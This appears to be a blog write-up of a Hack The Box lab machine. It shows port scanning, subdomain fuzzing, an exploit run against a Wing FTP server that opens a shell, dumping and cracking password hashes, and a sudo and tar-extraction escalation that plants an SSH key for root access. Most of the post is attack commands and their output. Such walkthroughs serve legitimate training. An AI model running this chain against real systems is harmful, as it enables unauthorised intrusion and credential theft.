Alan's Blog

1
└─# nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v 10.129.7.27
2
...
3
PORT   STATE SERVICE
4
22/tcp open  ssh
5
80/tcp open  http
6
...

1
└─# curl 10.129.7.27
2
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
3
<html><head>
4
<title>301 Moved Permanently</title>
5
</head><body>
6
<h1>Moved Permanently</h1>
7
<p>The document has moved <a href="http://wingdata.htb/">here</a>.</p>
8
<hr>
9
<address>Apache/2.4.66 (Debian) Server at 10.129.7.27 Port 80</address>

1
echo "10.129.7.27 wingdata.htb" >> /etc/hosts

1
└─# ffuf -u http://10.129.7.27 -H "Host:FUZZ.wingdata.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fc 301 -t 500
2

3
...
4
ftp                     [Status: 200, Size: 678, Words: 44, Lines: 10, Duration: 312ms]
5
...

1
echo "10.129.7.27 ftp.wingdata.htb" >> /etc/hosts

1
└─# python3 exp.py -u http://ftp.wingdata.htb
2
[*] Targeting http://ftp.wingdata.htb
3
[*] Logging in with injected payload...
4
[*] Triggering payload...
5
[+] Target is vulnerable! Command output:
6
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
7
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
8

9
Shell> whoami
10
wingftp

1
Shell> grep -i -R "password"
2
maria.xml:        <EnablePassword>1</EnablePassword>
3
maria.xml:        <Password>a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03</Password>
4
maria.xml:        <PasswordLength>0</PasswordLength>
5
maria.xml:        <CanChangePassword>0</CanChangePassword>
6
steve.xml:        <EnablePassword>1</EnablePassword>
7
steve.xml:        <Password>5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca</Password>
8
steve.xml:        <PasswordLength>0</PasswordLength>
9
steve.xml:        <CanChangePassword>0</CanChangePassword>
10
wacky.xml:        <EnablePassword>1</EnablePassword>
11
wacky.xml:        <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
12
wacky.xml:        <PasswordLength>0</PasswordLength>
13
wacky.xml:        <CanChangePassword>0</CanChangePassword>
14
anonymous.xml:        <EnablePassword>0</EnablePassword>
15
anonymous.xml:        <Password>d67f86152e5c4df1b0ac4a18d3ca4a89c1b12e6b748ed71d01aeb92341927bca</Password>
16
anonymous.xml:        <PasswordLength>0</PasswordLength>
17
anonymous.xml:        <CanChangePassword>0</CanChangePassword>
18
anonymous.xml.bakfile:        <EnablePassword>0</EnablePassword>
19
anonymous.xml.bakfile:        <Password>d67f86152e5c4df1b0ac4a18d3ca4a89c1b12e6b748ed71d01aeb92341927bca</Password>
20
anonymous.xml.bakfile:        <PasswordLength>0</PasswordLength>
21
anonymous.xml.bakfile:        <CanChangePassword>0</CanChangePassword>
22
john.xml:        <EnablePassword>1</EnablePassword>
23
john.xml:        <Password>c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10</Password>
24
john.xml:        <PasswordLength>0</PasswordLength>
25
john.xml:        <CanChangePassword>0</CanChangePassword>

1
sudo hashcat -a 0 -m 1410 hash.txt "/path/to/rockyou.txt"
2

3
...
4
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5
5
...

1
sudo -l
2
Matching Defaults entries for wacky on wingdata:
3
    env_reset, mail_badpass,
4
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
5

6
User wacky may run the following commands on wingdata:
7
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

1
try:
2
  with tarfile.open(backup_path, "r") as tar:
3
    tar.extractall(path=staging_dir, filter="data")
4
  print(f"[+] Extraction completed in {staging_dir}")
5
except (tarfile.TarError, OSError, Exception) as e:
6
  print(f"[!] Error during extraction: {e}", file=sys.stderr)
7
  sys.exit(2)

1
python3 exploit.py --preset ssh-key --payload /tmp/temp_authorized_keys.pub --tar-out ./backup_1001.tar

1
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1001.tar -r restore_test

1
ssh [email protected] -i /tmp/temp_authorized_keys